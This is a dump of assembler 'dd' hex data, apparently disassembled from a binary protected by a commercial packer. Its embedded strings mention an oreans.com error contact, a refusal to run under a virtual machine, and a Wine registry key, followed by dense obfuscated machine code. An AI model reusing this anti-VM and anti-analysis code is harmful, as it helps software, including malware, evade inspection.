6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 21h dup(0) dd 6F530000h, 61777466h, 575C6572h, 656E69h, 800FC48Bh dd 6, 2CC98D89h, 8589062Bh, 62B1DB5h, 28A9BD31h, 0C08B062Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 55C35040h dd 0F06D094h, 0BF9D3B7h, 2B218DBDh, 0F9BD8306h, 62B01h dd 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h, 43Dh, 1B818589h dd 9D8D062Bh, 62DBF75h, 585BD3FFh, 1689BD83h, 7400062Bh dd 0B8535017h, 43Dh, 1B818589h, 9D8D062Bh, 62DBC64h, 585BD3FFh dd 0FC49B360h, 0CA8BFC61h, 2960C08Bh, 2B089995h, 0B70F6006h dd 8B6161D9h, 19D29C0h, 0E9062B0Ch, 5, 248E0B90h, 0F9BD83CEh dd 62B01h, 0BD830975h, 62B1689h, 50137400h, 0B8C08B53h dd 0 dd 0BE179D8Dh, 0D3FF062Dh, 0BD83585Bh, 62B1689h, 50117400h dd 0B853h, 9D8D0000h, 62DBCC8h, 585BD3FFh, 26FD8589h, 0BF0F062Bh dd 81C08BF9h, 42BA20E7h, 6AC08B3Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0A43AC351h dd 2907A235h, 2B2C25B5h, 0FFC6006h, 8361C9B7h, 2B01F9BDh dd 9750006h, 1689BD83h, 7400062Bh, 8B535013h, 0B8C0h, 9D8D0000h dd 62DBD49h, 585BD3FFh, 1689BD83h, 7400062Bh, 0B8535011h dd 0 dd 0BC969D8Dh, 0D3FF062Dh, 8D8B585Bh, 62B25C5h, 0C820Fh dd 8A0F0000h, 6, 18ADBD8Bh, 0EE8062Bh, 5A000000h, 0CD03222Eh dd 78AB6022h, 0EEC460B5h, 0C8BF0FB2h, 1C08B5Fh, 2B09FD95h dd 11CF8106h, 8B516A87h, 50006AC0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 666D024Dh, 89D1B816h dd 2B17C1B5h, 0D18B6606h, 1F9BD83h, 7500062Bh, 89BD8309h dd 62B16h, 53501374h, 0B8C08Bh, 8D000000h, 2DBDB09Dh, 5BD3FF06h dd 89BD8358h, 62B16h, 53501174h, 0B8h, 0AF9D8D00h, 0FF062DBCh dd 0F585BD3h, 68Ch, 0B5953300h, 8A062B34h, 80C08BEFh, 0C08B71E2h dd 718D8B50h, 5A062B1Ch, 0BD83D68Bh, 62B01F9h, 83097500h dd 2B1689BDh, 13740006h, 0C08B5350h, 0B8h, 0E29D8D00h dd 0FF062DBCh, 6A585BD3h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 5771C350h, 8B9E4FFAh dd 2B2049BDh, 0C08BF506h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0CC35343h, 0BE2A9497h, 8E8ABh, 0A5BF0000h dd 2245D6E7h, 8A0F0FE8h, 4, 5203B966h, 6AC08B5Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F73C357h, 1589h, 9E800h, 97500000h, 0F0EB4178h, 23C36522h dd 2B1C3595h, 958B5F06h, 62B05A5h, 1F9BD83h, 7500062Bh dd 89BD8309h, 62B16h, 53501974h, 0D0B8C08Bh, 89000007h dd 2B1B8185h, 759D8D06h, 0FF062DBFh, 83585BD3h, 2B1689BDh dd 17740006h, 0D0B85350h, 89000007h, 2B1B8185h, 649D8D06h dd 0FF062DBCh, 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0EEEDC357h, 8F6F9639h dd 0D28096D2h, 0D985293Ah, 6A062B24h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 943CC356h dd 0B5917DB9h, 958BBBDFh, 62B1BD9h, 8D0FC08Bh, 0Bh, 58B0Fh dd 81660000h, 89F06EE1h, 2B17218Dh, 2D85C606h, 53062B33h dd 9068D78Bh, 8999395Fh, 2B30558Dh, 49858906h, 0FF062B18h dd 2B0B1DB5h, 81665106h, 593FB2C2h, 3C25858Dh, 0EE9062Bh dd 93000000h, 0D05E3A6Ah, 22550960h, 76789658h, 0DA8166ADh dd 0D0FF7D6Bh, 318589FCh, 0F062B27h, 85C6F8BFh, 62B332Dh dd 0D0BF0F57h, 4520668h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0BD0BD636h, 62B1B49h dd 0EE9h, 9BB53500h, 0AB1D3E85h, 7E6F5F67h, 0FF56C83Fh dd 2B0B1DB5h, 0D1BF0F06h, 3C25858Dh, 5652062Bh, 8A0Fh dd 5F5A0000h, 0E580D0FFh, 0A9858957h, 0B1062B11h, 2D85C63Ch dd 43062B33h, 7E9h, 0DDC77600h, 0C5D42F64h, 90702868h dd 8D8D89BCh, 52062B01h, 0BD9BD23h, 0FF5F062Bh, 2B0B1DB5h dd 0FEBF0F06h, 298D9533h, 858D062Bh, 62B3C25h, 0FFB1C180h dd 91958BD0h, 89062B26h, 2B01E185h, 95096006h, 62B2F71h dd 85C661F9h, 62B332Dh, 52006A4Ch, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0FCBC9E4h, 2290E1C1h dd 0DA1CE968h, 0CE9D9h, 0FDDF0000h, 58DC79h, 32A9896Ah dd 0B5FFAC3Eh, 62B0B1Dh, 17018529h, 858D062Bh, 62B3C25h dd 0F8F0Fh, 0AE90000h, 33000000h, 0A83C07BCh, 1480B9E1h dd 0FD0FFC3h, 8589F8BFh, 62B1E8Dh, 68F0Fh, 85890000h, 62B347Dh dd 332D85C6h, 0F846062Bh, 0DE061468h, 55006ABAh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0FF08A8ADh, 0E1814D58h, 648125E3h, 22DBD89h, 0B5FF062Bh dd 62B0B1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 41C35646h, 8D53361Eh, 2B3C2585h, 95295106h, 62B2775h dd 6830F5Ah, 9000000h, 2B1241BDh, 60D0FF06h, 68C0Fh, 0B58B0000h dd 62B05C9h, 10E8h, 0E862B400h, 5B1C1C4Fh, 55F89925h, 11679D0Bh dd 59D68BADh, 21858961h, 66062B1Dh, 0C6E93EB9h, 2B332D85h dd 6A4706h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0DD3B2C3h, 723A1628h, 0E268BB38h, 668A0FB5h dd 0FF1939BAh, 2B0B1DB5h, 0ECCD8006h, 3C25858Dh, 9D89062Bh dd 62B09E5h, 11E9h, 978D7900h, 0A0730A8Fh, 1C76193Dh, 0F288FCB5h dd 0D0FF371Dh, 0B9BD8Bh, 8589062Bh, 62B1B11h, 0AC5EF2BAh dd 2D85C603h, 47062B33h, 93EF8166h, 0B5F3685Ah, 958B83D0h dd 62B0931h, 0B1DB5FFh, 8157062Bh, 0BAD254E9h, 858D5F45h dd 62B3C25h, 42D28166h, 89D0FFA0h, 2B3449B5h, 0DD858906h dd 8B062B0Ch, 2D85C6D3h, 77062B33h, 0D8EED281h, 958B1C36h dd 62B2FD1h, 97A8A368h, 0F18166F3h, 0B5FFD842h, 62B2F19h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FBC35242h dd 0E1BDC699h, 5BB830B4h, 0AE851h, 287B0000h, 0A445C864h dd 6F3C9C6Eh, 595F5950h, 3C25858Dh, 0E980062Bh, 0A98D8B73h dd 0FF062B0Ah, 68F0FD0h, 81000000h, 6C3E8FF7h, 0CE813h dd 0EED20000h, 0D48C44B0h, 6A108220h, 8D899CF9h, 62B0865h dd 39858959h, 6A062B2Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 2567C350h, 0EE9h, 7024A800h dd 0CF684BD3h, 0F7DAAB4Ah, 0E800149Fh, 10h, 1A66194Dh dd 9C3546DEh, 0F216506Dh, 0CE1E094Bh, 10E9h, 0EC833400h dd 6062BCA0h, 9F1AE1EBh, 27E08D1h, 85C65F00h, 62B332Dh dd 48F0F47h, 66000000h, 0BF7C49B9h, 7B74B6F6h, 28FAF668h dd 0C88B6687h, 0B1DB5FFh, 9D01062Bh, 62B01D5h, 3C25858Dh dd 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 34C1F8C3h, 60D1B081h, 2FD9858Bh, 0BD01062Bh dd 62B08A9h, 8BD0FF61h, 0BD8589F8h, 8A062B0Fh, 2D85C6CFh dd 43062B33h, 3951F181h, 85891CF5h, 62B1855h, 8E6EFC68h dd 50006ABCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 5606D636h, 5E89487h, 3E000000h, 0C354A742h dd 305D8D89h, 0FF5F062Bh, 2B0B1DB5h, 81958B06h, 8D062B2Fh dd 2B3C2585h, 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0B12C356h, 891A6700h dd 2B11CD85h, 0D5858906h, 60062B07h, 737FBF66h, 12E8h dd 0EEC17200h, 0C8157E25h, 0B9B9188Ch, 2323CCE8h, 8BCF5C28h dd 2B3089B5h, 29615F06h, 2B1C8195h, 2D85C606h, 45062B33h dd 0EF1AE781h, 696859D9h, 6A8E7269h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 698CC352h dd 6C3B71A6h, 30D28166h, 0FF95B2CDh, 2B0B1DB5h, 11DF8106h dd 8D7BD1DDh, 2B3C2585h, 870F06h, 0FF000000h, 51006AD0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0F9B70F44h, 2475BD89h, 8589062Bh, 62B0EA1h, 0BF5BD31h dd 85C6062Bh, 62B332Dh, 12E844h, 0E9F80000h, 0F51D38B4h dd 2A877C5Bh, 0BFF7FA2Fh, 91CD4019h, 5956D180h, 0F2EC6468h dd 0F9BD8BB8h, 0FF062B2Ah dd 2B0B1DB5h, 0A9BA6606h, 25858D91h, 8B062B3Ch, 2B01BD8Dh dd 0E9D0FF06h, 0Ch, 0B24655B5h, 20E33EF3h, 0CC5412BBh dd 12398589h, 850F062Bh, 6, 2FD1958Bh, 85C6062Bh, 62B332Dh dd 56006A43h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8166DF73h, 0E93BDBE2h, 0Dh, 0FC7FA312h dd 5C22EBAh, 3A4880Eh, 0D2B70F2Fh, 764AA768h, 0C8BA66C0h dd 1DB5FF7Ch, 1062B0Bh, 2B27158Dh, 25858D06h, 66062B3Ch dd 0B708D781h, 6840F60h, 31000000h, 2B2065B5h, 61F18B06h dd 8166D0FFh, 890648C7h, 2B240D85h, 0E2816606h, 0BD80FDDAh dd 62E0CCBh, 8840F00h, 8B000001h, 0AD858DCFh, 6A062E0Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0B5A5C357h, 0F94B028Bh, 2D7EED53h, 0B41BD29h dd 0BF0F062Bh, 11BD89D0h, 50062B2Ch, 62BACA81h, 0DE91788h dd 63000000h, 60FC4D24h, 0ED165585h, 8777D9E3h, 6A016Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0EE981C3h, 74000000h, 0E7C47750h, 0D3C0BDDFh, 0CD55625Bh dd 41BF66D4h, 19B58943h, 6A062B35h, 4DBD8B00h, 6A062B06h dd 0E1816600h, 0E98074C4h, 0E195FFEFh, 6A062B01h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0D4E6C352h, 2759958Bh, 8589062Bh, 62B3599h, 18E9BD8Bh dd 0FF6A062Bh, 6A88BA66h, 3599B5FFh, 8501062Bh, 62B0285h dd 11A995FFh, 850F062Bh, 13h, 0AE8h, 0C24DBA00h, 0FC485EA2h dd 667809ADh, 8B5FD08Bh, 8354B1C0h, 2B01F9BDh, 9750006h dd 1689BD83h, 7400062Bh, 8B535019h, 7D1B8C0h, 85890000h dd 62B1B81h, 0BF759D8Dh, 0D3FF062Dh, 0BD83585Bh, 62B1689h dd 50177400h, 7D1B853h, 85890000h, 62B1B81h, 0BC649D8Dh dd 0D3FF062Dh, 0CF81585Bh, 3E5874E2h, 8BD0B70Fh, 0A0C781C0h dd 0C65AD894h, 2B332D85h, 6A4706h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0ADA52DC3h, 1B6AFAD8h dd 0BD2B8AD2h, 62B0641h, 0C8F7C168h, 0A9BD8B93h, 0FF062B19h dd 2B0B1DB5h, 0B1CA8B06h, 25858D8Fh, 3062B3Ch, 2B1D65BDh dd 119D8906h, 0FF062B2Bh, 0C1BD8BD0h, 50062B19h, 1799589h dd 858D062Bh, 62E10EEh, 163DBD8Bh, 0C7062Bh, 94h, 354DB501h dd 8158062Bh, 0A7AD0BCFh, 0EEB58D0Ch, 8B062E10h, 2B0B79BDh dd 6A5606h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 48EBB9C3h, 0BD8BC88Bh, 62B006Dh, 0F281D0FFh dd 2D86EBB3h, 10EE858Dh, 8166062Eh, 834C7CE1h, 0F060478h dd 1385h, 81958B00h, 0C7062B19h, 2E118285h, 106h, 0D08B6600h dd 2A75BD83h, 0F00062Bh, 4485h, 1D9D8900h, 83062B1Dh, 2E1182BDh dd 850F0006h, 31h, 0EE9h, 1C33D500h, 159938C0h, 0F1F0F009h dd 838D448Fh, 2B2FADBDh, 840F0006h, 11h, 85C7ADB5h, 62B1D49h dd 0 dd 0E6D5F5BAh, 0DB8C661Bh, 1978B966h, 0F04C3F6h, 5FD84h dd 79BD8B00h, 0F062B30h, 1480h, 0FE900h, 0A5FB0000h, 0F129392Bh dd 1458D0E6h, 0F4E4E2DBh, 185C76Ch, 62B0Ah, 0F000000h dd 68Ah, 0DD8D8900h, 80062B1Ah, 2E0CD8BDh, 850F0006h, 19h dd 11E8h, 6391A300h, 4CD21D2Fh, 6CA23863h, 0C80BDA87h dd 0F88B09D2h, 2D85C65Fh, 47062B33h, 0E45B8668h, 0DBD8BE3h dd 0FF062B2Eh, 2B0B1DB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0E45800F6h dd 8B66BDAAh, 8DA7B5CEh, 2B3C2585h, 85896006h, 62B2051h dd 0CE8h, 3FB9B600h, 0EDFA21Dh, 9563D742h, 5F61606Ch, 6AD0FF61h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 6780C355h, 0A77AB99Ah, 4684A23h, 1000001h dd 2B07199Dh, 819D8D06h, 66062B27h, 0C975CA81h, 0D58D2953h dd 0FF062B19h, 2D950BD0h, 8D062B18h, 2B278185h, 8B666006h dd 198D89CAh, 61062B19h, 0DE8h, 1CA60A00h, 43F0B2C5h, 81BB870h dd 0B70F4518h, 815059D6h, 20A274D1h, 8A858D48h, 60062E0Ch dd 3081B52Bh, 0BE66062Bh, 5061015Eh, 1C1DB589h, 858D062Bh dd 62E035Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0EBC35242h, 8125ADE0h, 0CD159DDFh, 958B5027h, 62B28FDh dd 2C3995FFh, 0CA8B062Bh, 6A0CC483h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 4A7EC355h dd 68006AB4h, 80h, 6A036Ah, 68006Ah, 8D800000h, 2E035D85h dd 95FF5006h, 62B07D5h, 0C6D8589h, 85C6062Eh, 62B332Dh dd 5E876847h, 0B5FFC7B1h, 62B0B1Dh, 3C25858Dh, 0D0FF062Bh dd 0B5FF006Ah, 62E0C6Dh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 35391FC3h, 0FDBD29A5h dd 31062B15h, 2B17B98Dh, 37D03D06h, 830F0000h, 74h, 4003C781h dd 0B5FF7A27h, 62E0C6Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0CAC35343h, 23BABDA9h, 2B2BB995h, 0CE906h dd 3F480000h, 0C2D4A6D2h, 0CC8A7923h, 95FF62C5h, 62B240Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9BC35646h dd 3D7D6D43h, 111E914h, 0B5890000h, 62B0A11h, 0C6DB5FFh dd 0B529062Eh, 62B2401h, 240D95FFh, 6A062Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0DB74BAC3h dd 1B358589h, 6A062Bh, 1CDDB589h, 6A062Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 61C35545h, 6A884DF8h dd 0C88B6600h, 0CE9h, 4AE05200h, 25A57566h, 0F837E363h dd 6A006AD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0FCCDC357h, 5ADA54E0h, 0BD8B006Ah dd 62B21FDh, 0AE8006Ah, 0F2000000h, 8BC31278h, 90737A60h dd 858D5F84h, 62E0C71h, 0B860Fh, 0F600000h, 0B529C8BFh dd 62B1819h, 95095061h, 62B09A5h, 7D595FFh, 6A062Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0B0ADCDC3h, 0F883E88Dh, 5C850FFFh, 8B000001h, 2B2ADD95h dd 3DBD8B06h, 8D062B02h, 2DC3C785h, 11958906h, 0F062B1Eh dd 58Fh, 0B76DBA00h, 0D0FF1010h, 6810F53h, 89000000h, 2B34B5B5h dd 9D895906h, 62B1DB1h, 0F60006Ah, 0F60CABFh, 89h, 6171B600h dd 0E8006A61h, 0Dh, 0C9114B7Ah, 136E255Eh, 0F4C767E3h dd 99B966A1h, 6A598Eh, 25B18D8Bh, 6A062Bh, 6AD08Bh, 6ACA8Bh dd 2ABDBD89h, 858D062Bh, 62E0C71h, 0CF8150F5h, 6FE1B5CEh dd 7D595FFh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 6DCBB7C3h, 0E9CFFFD5h, 13h, 0F1664E82h dd 23F479A5h, 4BE7008Bh, 0EB9E7E6Ch, 83154457h, 850FFFF8h dd 8Bh, 849BD29h, 0B58D062Bh, 62E0679h, 6E9h, 0A2C0E600h dd 0FA25DA4h, 858DCEB7h, 62DB12Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0E0C35545h, 0EB8A5E48h, 820FD0FFh dd 0 dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 5ACEFC3h, 0FE89CC8h, 6E000000h, 0DBF206EAh dd 0BFD5AD10h, 1420F6D7h, 0FF596B23h, 2B0EA195h, 0CDBD8906h dd 89062B2Ah, 2E0C6D85h, 3D958B06h, 0E9062B16h, 13h, 47808230h dd 0D8590C89h, 0FB80A686h, 494FBBDBh, 6A0F7CA3h, 8DBD8B00h dd 8D062B33h, 2E0C6585h, 958B6006h, 62B054Dh, 7E8h, 91E77600h dd 693A27DFh, 0D99B501h, 615B062Bh, 0BAD28050h, 26D58D8Bh dd 46A062Bh, 798D2960h, 89062B29h, 2B30799Dh, 858D6106h dd 62B260Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 20C35343h, 80E721EBh, 3150CEEAh, 2B0B2195h, 8B006A06h dd 2B34618Dh, 0F8006A06h, 8B66016Ah, 6DB5FFFEh, 6A062E0Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0BEC3C350h, 92FD8E82h, 95FF8F85h, 62B1239h dd 1DE998B5h, 6A00001Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0EBCBC351h, 0BDF8562h dd 371CD89Fh, 0A1C0CF81h, 0C08B7244h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 6DC35040h, 0FDD4C707h, 0B99D8910h dd 83062B0Fh, 2B01F9BDh, 9750006h, 1689BD83h, 7400062Bh dd 8B535019h, 7D2B8C0h, 85890000h, 62B1B81h, 0BF759D8Dh dd 0D3FF062Dh, 0BD83585Bh, 62B1689h, 50177400h, 7D2B853h dd 85890000h, 62B1B81h, 0BC649D8Dh, 0D3FF062Dh, 6A585Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0B58983C3h, 62B2E65h, 1D99BD8Bh, 0C08B062Bh, 2A7DBD01h dd 0FFB6062Bh, 0A0185C7h, 1062Bh, 14BA0000h, 0E90FEF50h dd 11h, 0C4DA0602h, 490B4118h, 0F2588E37h, 3F090A4Dh, 0E7B868ADh dd 0B5FFCEE4h, 62B1809h, 3C25858Dh, 0D0FF062Bh, 191D8589h dd 858D062Bh, 62E0EC9h, 86858D50h, 50062E11h, 168h, 1D95FF80h dd 0B062B19h, 0C70A75C0h, 2B25F185h, 106h, 0DBD46800h dd 0B5FFC005h, 62B1809h, 3C25858Dh, 0D0FF062Bh, 24C58589h dd 858D062Bh, 62E0116h, 1DB5FF50h, 0FF062B0Bh, 2B1B1195h dd 74C00B06h, 8DD88B0Bh, 2E10C985h, 0D3FF5006h, 10C9858Dh dd 8366062Eh, 0A750938h, 84585C7h, 1062Bh, 95FF0000h, 62B0FBDh dd 0FF25h, 5F88300h, 85C70A73h, 62B1F3Dh, 1, 0FE9h, 7A946700h dd 6D60143Fh, 0B94136CCh, 391C3A0h, 2C1BD01h, 0BD80062Bh dd 62E0CD8h, 19840F00h, 89000000h, 2B299195h, 82BD8306h dd 62E11h, 2A840Fh, 0BD8B0000h, 62B01FDh, 1937E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 8F23D82Ch, 845BD83h, 0F00062Bh, 0AE85h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0C7810E9Fh, 44952EDFh, 0CA2858Dh, 0FFC062Eh, 0C84h dd 6860F00h, 89000000h, 2B09B985h, 0B70F5006h, 6A016AD7h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 1D21C352h, 958B6F64h, 62B2E99h, 0F4A2CF81h dd 6A4B20h, 651BD89h, 6A062Bh, 5E9h, 5F20000h, 95FFCBFEh dd 62B01E1h, 0CC8589F8h, 3062E0Ch, 2B2C1DBDh, 0F9FF6A06h dd 0CCCB5FFh, 45BA062Eh, 0B20F8997h, 0A995FFA8h, 66062B11h dd 8D690DBAh, 2E00DD85h, 6A5006h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 66A4F6C3h, 0ED50F781h dd 8E9h, 0E89B9200h, 0BDB643CEh, 8D95FF91h, 81062B1Eh dd 9D47FCF2h, 6785893Eh, 8B062E01h, 2B32718Dh, 0EA858D06h dd 6A062E00h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0EFB1C355h, 6E960h, 5B10000h dd 833C903Bh, 61D0B70Fh, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0CB612C8Ch, 8B5A6CE7h dd 2B32BD8Dh, 0FFCB8A06h, 2E0167B5h, 0FF31B606h, 2B1B1195h dd 8589FC06h, 62B2115h, 68B0Fh, 95310000h, 62B10A5h, 158858Dh dd 6A062Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 60F7B5C3h, 890F5036h, 5, 0D4E28166h, 67B5FF6Fh dd 6A062E01h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 9548C353h, 95FFAE03h, 62B1B11h dd 2B1D952Bh, 8589062Bh, 62E017Bh, 137858Dh, 6A062Eh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 29E94AC3h, 2B2BC98Dh, 0B5FF5006h, 62E0167h, 11E9h, 92C34B00h dd 0DB2F0DBh, 0D30739B1h, 29DFB3B0h, 0D9BA986Fh, 0FF273C13h dd 2B1B1195h, 38D0F06h, 0F000000h, 8589FEB7h, 62E0173h dd 858DD18Bh, 62E012Ah, 16860Fh, 11E90000h, 0F9000000h dd 8D78534Eh, 7C2357A0h, 0D9B0198Fh, 480FDC76h, 20259589h dd 0F850062Bh, 167B5FFh, 0E980062Eh, 1195FF22h, 56062B1Bh dd 0CE9h, 5951A000h, 5909A6Bh, 0B1D6BBD4h, 858959ACh, 62E0177h dd 858DD68Bh, 62E0145h, 8E860h, 0CFD00000h, 6A264E42h dd 5A5152BFh, 4585315Bh, 61062B2Bh, 0D9958B50h, 0FF062B00h dd 2E0167B5h, 41950306h, 0FF062B30h, 2B1B1195h, 1D9D2906h dd 89062B02h, 2B02B585h, 12E906h, 67450000h, 0CECA1209h dd 62F268Dh, 6CF6FBADh, 72B8617Bh, 0F9858Dh, 880F062Eh dd 6, 2C61B589h, 8B50062Bh, 67B5FFD6h, 6A062E01h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0A6C9C356h, 1A5711D1h, 0AE810AB5h, 2D818D8Bh, 95FF062Bh dd 62B1B11h, 8589CB8Bh, 62E016Bh, 52CABF0Fh, 68D0Fh, 860F0000h dd 0 dd 8858D5Fh, 89062E01h, 2B123195h, 0CF815006h, 44218B35h dd 167B5FFh, 0BF0F062Eh, 1195FFD1h, 6A062B1Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6609C356h, 659CD781h, 16F8589h, 6057062Eh, 0E9CE8B66h dd 0Ah, 0BA70D534h, 1DE6D4FAh, 5961A783h, 10468h, 19858900h dd 8D062B21h, 2E01FF85h, 0E7816606h, 9501E6Ch, 2B1EAD8Dh dd 3858D06h, 89062E03h, 2B054DBDh, 0F88B5006h, 0CDD95FFh dd 0B560062Bh, 31B589E7h, 61062B12h, 850FC085h, 0Bh, 5840Fh dd 93BF0000h, 806B1BDFh, 2E0CD8BDh, 850F0006h, 17h, 7E9h dd 0CBD5D100h, 0D70FB1CBh, 14E7E9h, 9D8D8B00h, 83062B0Dh dd 2B0845BDh, 850F0006h, 30h, 6D5FBA66h, 21CC76BAh, 82BD8325h dd 62E11h, 4F840Fh, 830F0000h, 14h, 0FE9h, 355200h, 766A5761h dd 729E47AFh, 4AED4794h, 19C858Dh, 9589062Eh, 62B21E5h dd 1922D181h, 8DE95D39h, 66000014h, 50C9CF81h, 2F8D8D8Bh dd 29E9062Bh, 60000000h, 2919D89h, 9D8B062Bh, 62B08CDh dd 87858D61h, 8B062E01h, 0EE9FBh, 5D00000h, 4217614h, 1404A194h dd 0B4DC75D7h, 4D858950h, 8D062B15h, 2E01FF85h, 85CA8106h dd 50104A1Ah, 45BD83F9h, 62B08h, 3B840Fh, 29560000h, 2B2169BDh dd 858D5A06h, 62E0325h, 0E2D28166h, 2FE9A8h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0A2C1DEC3h, 0CEBA665Bh, 0E858D2Eh, 33062E03h, 2B3249BDh dd 95235006h, 62B0A0Dh, 35D858Dh, 5E9062Eh, 9000000h, 55251F25h dd 0BE850h, 33E80000h, 40411F21h, 34133965h, 33BA661Bh dd 95FF5A75h, 62B2C39h, 83D3BF0Fh, 6A10C4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 342F44C3h dd 895ED287h, 2B295185h, 57C08B06h, 59FABF0Fh, 1F9BD83h dd 7500062Bh, 89BD8309h, 62B16h, 53501974h, 0D3B8C08Bh dd 89000007h, 2B1B8185h, 759D8D06h, 0FF062DBFh, 83585BD3h dd 2B1689BDh, 17740006h, 0D3B85350h, 89000007h, 2B1B8185h dd 649D8D06h, 0FF062DBCh, 6A585BD3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6AE4C351h dd 9D958B45h, 8A062B15h, 0E8C08BEBh, 12h, 0DA54E0FCh, 453F315Ah dd 9BCB0501h, 3D7D6D43h, 9D01EE14h, 62B0D9Dh, 87BD815Ah dd 6F062E01h, 0F616572h, 0B184h, 1E8F0F00h, 0F000000h dd 188Ch, 13E900h, 0C5460000h, 5151E804h, 7FFDDF8h, 9C8324C9h dd 52B9F323h, 6830FA2h, 1000000h, 2B1A899Dh, 0FF858D06h dd 50062E01h, 33C858Dh, 8D50062Eh, 2E035D85h, 95FF5006h dd 62B2C39h, 0C60CC483h, 2B332D85h, 4F684406h, 0FF96A318h dd 2B0B1DB5h, 25858D06h, 0FF062B3Ch, 8DD88BD0h, 2E035D85h dd 0D3FF5006h, 187858Dh, 8D50062Eh, 2E01FF85h, 0BD835006h dd 62B0845h, 8D087400h, 2E032585h, 